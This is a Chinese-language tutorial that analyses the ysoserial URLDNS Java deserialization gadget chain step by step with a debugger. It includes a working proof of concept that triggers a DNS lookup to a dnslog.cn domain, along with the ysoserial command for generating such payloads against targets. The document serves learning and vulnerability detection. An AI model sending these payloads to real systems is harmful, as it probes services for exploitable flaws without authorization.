
# 前言

文章首发：https://www.sec-in.com/article/299
&emsp;&emsp;2015年Gabriel Lawrence(@gebl)和Chris Frohoff(@frohoff)在AppSecCali大会上提出的利用Apache Commons Collections来构造命令执行利用链，随后发布ysoserial工具，从此打开Java安全的蓝海。
&emsp;&emsp; 利用链(gadget chains)，俗称gadget。通俗来说就是一种利用方法，它是从触发位置开始到执行命令的位置结束，也可以说是漏洞验证方法(POC)。
&emsp;&emsp; 使用方法，GitHub下载jar包或者git源码自己编译。
> java -jar ysoseial.jar URLDNS "http://baidu.com"

再将生成号POC发送目标，如果目标存在反序列化漏洞，并且满足利用链条件，则命令将会被执行。

ps: 本文实验代码都上传[JavaLearnVulnerability](https://github.com/samny520/JavaLearnVulnerability)项目，为了让更多人知道，麻烦动动小手star一下。

---
# URLDNS
 &emsp;&emsp; ``URLDNS``是其中的一个gadget的名字，此gadget不能执行命令，通常用来验证目标是否存在反序列化漏洞。URLDNS gadget十分适合用来验证目标是否存在反序列化漏洞。
 * 此gadget完全使用Java内置的类构造，无需第三方库支持。
 * 如果目标没有回显，通过DNS解析请求是否存在来判断存在反序列化漏洞。

---

## 漏洞分析
打开``https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java``查看源码，但笔者这里使用自己改写的源码来分析此gadget链。

```java
package samny.serializable;


import samny.util.Reflections;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class urldns {
    public static void main(String[] args) throws Exception {

        URLStreamHandler handler = new URLStreamHandler() {
            @Override
            protected URLConnection openConnection(URL u) {
                return null;
            }
            @Override
            protected synchronized InetAddress getHostAddress(URL u){
                return null;
            }
        };

        HashMap hm = new HashMap();
        URL url = new URL(null,"http://4h9yq1.dnslog.cn",handler);
        hm.put(url,url);

        Reflections.setFieldValue(url,"hashCode",-1);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("url"));
        oos.writeObject(hm);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("url"));
		// 注释这行代码是不会产生dns解析请求，
        ois.readObject();
    }
}
```
## 漏洞复现
&emsp;&emsp; 漏洞分析之前，我们先看看漏洞执行效果。
&emsp;&emsp; 分析一个在线dns解析记录网站[DNSlog Platform](http://www.dnslog.cn)，网站无需任何登录注册，国内访问速度也快，DNS记录获取速度没得说，子域名可以无限更换。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427153912402.png)
**漏洞复现步骤**
1. 修改你能过记录dns解析的网址。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427154428787.png)
2. 直接运行main方法，刷新记录。

## 断点分析
&emsp;&emsp; 触发反序列化漏洞的方法是``readObject``，所以笔者在43行代码处和``hashmap``的``readObject``各设置一个断点。
PS:
* 以免dns记录混淆，建议每次分析都换一个域名。
* 此处会有一个问题就是我们到底怎么在JDK包中找到HashMap这个类的readobject函数呢？因为JDK的类超级多，难道我们必须要一个个翻找？
* 其实搜索是可以搜索导入包的内容的，``Ctrl+Shift+F`` 在``Scope - All Places ``搜索``class hashmap``即可。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427155537417.png)
&emsp;&emsp; 断点设置好了，开始分析，笔者这里直接从HashMap.java的``readObject``开始分析。
hashmap中readObject会调用putVal方法是往HashMap中放入键值对的方法，进而会计算hashcode值。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427155709722.png)
&emsp;&emsp; 接着会判断key是否为空，hashCode是否不等于-1，不等于-1会直接返回，等于-1会重新计算。这时候我们看笔者写源码36行，修改方法hashCode的值为-1，这时你是否明白此时的用意。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427160955616.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427161035866.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427161223686.png)

&emsp;&emsp; 计算``hash``的时候会跳转到``java.net.URLStreamHandler.java#hashCode``方法来计算hash。注意看图片中被框住的一行代码，hashCode在计算hash时，会调用``getHostAddress()``方法，进而调用``getByName(host)``方法。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427161513369.png)
&emsp;&emsp; 执行方法，我们发现会有一个等待时间大概2秒钟之后(其实就是DNS解析所需要的时间)，可以获取DNS解析记录。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427162302103.png)

![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427162013698.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/2020042716232791.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427162708718.png)
## 小结
&emsp;&emsp; 整个的``URLDNS``的gadget其实清晰又简单。
1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

&emsp;&emsp; 其实作者在博客中写道，可以用四行代码就可以实现此gadget chains，反观ysoserial中源码，去掉注释也多还有几行代码，``多出的代码时干嘛的呢？``


![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427164430117.png)
## 巧妙避免重复
&emsp;&emsp; 多出几行代码，我们来分析一下。ysoserial的作者重写了URLStreamHandler其中两个方法。但是我们还没搞清楚其中的作用。

```java
URLStreamHandler handler = new URLStreamHandler() {
            @Override
            protected URLConnection openConnection(URL u) {
                return null;
            }
            @Override
            protected synchronized InetAddress getHostAddress(URL u){
                return null;
            }
        };
```
&emsp;&emsp; 老规矩，断点撸码。不过此时断点应该设置在哪？笔者按照源作者的代码，去掉序列化和反序列化的过程。剩下代码也就上面的和下面图片给出的5行代码，分析不难发现断点应该设置在``hm.put()``。其中31和32行代码肯定是不会去设置断点的，至于36行在之前就说明其作用。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427171425793.png)
&emsp;&emsp; 调试代码不能发现，put方法也和hashmap中的readObject方法的方法是差不多的，继续跟进。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427171917233.png)
&emsp;&emsp; 继续跟进还是来到``java.net.URLStreamHandler#hashCode``方法，但此时方法会跳转到笔者复写的方法中，返回应该``null``，进而就不会去解析dns。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427172155144.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427172348537.png)

---
&emsp;&emsp; 为什么hashmap中putval方法就不会跳转到我们复现的类方法里面返回一个null呢？（个人见解，源码无法修改所以无法调试）
答：反序列化时应该时将二进制代码直接读取，进去调用hashmap中readObject方法，此时反序列化完全是使用jdk源码调用，不会再去看我们用户复写方法。
&emsp;&emsp; 笔者这里有点事实可以整明我的观点。
众所周知Java是代码是一行一行的去编译解释的，我们复现的类URLStreamHandler，实现的类对象hander在url进实例化的时候处理了，也就是33行代码。但是进行反序列化操作的时候，并没有将此复现方法进行序列化，所以反序列化的时候不会处理URL，计算hash值的时候，不可能跳转到我们复写的方法返回一个null，只能是跳转到原本的方法中。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200427174533677.png)

---
# 总结
&emsp;&emsp; 当URL最初被放在HashMap中时，通过可以调用put，HashMap.hashMap.hash方法被调用。这个方法反过来又会调用该URL的hashCode，但是hashCode是有一个缓存值的，并不会触发DNS解析。但是我们可以在读取数据流的时候，在URL添加到HashMap中重置缓存值(使其hashCode=-1)，来确保DNS解析。可以使用Java的Reflection中setFieldValue方法来达到重置hashCode值为-1。
&emsp;&emsp; Ysoserial用一个类复写完美避免重复DNSLOG，感概其作者的神奇逻辑思维能力。有兴趣的朋友完全可以去注释掉``getHostAddress``方法亦或者是删除掉整个handler代码，然后就会出现DNSLOG。

---
# 参考
P神Java安全漫谈 - 08.反序列化篇(2)
https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
https://lalajun.github.io/2020/03/05/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-ysoserial-URLDNS/
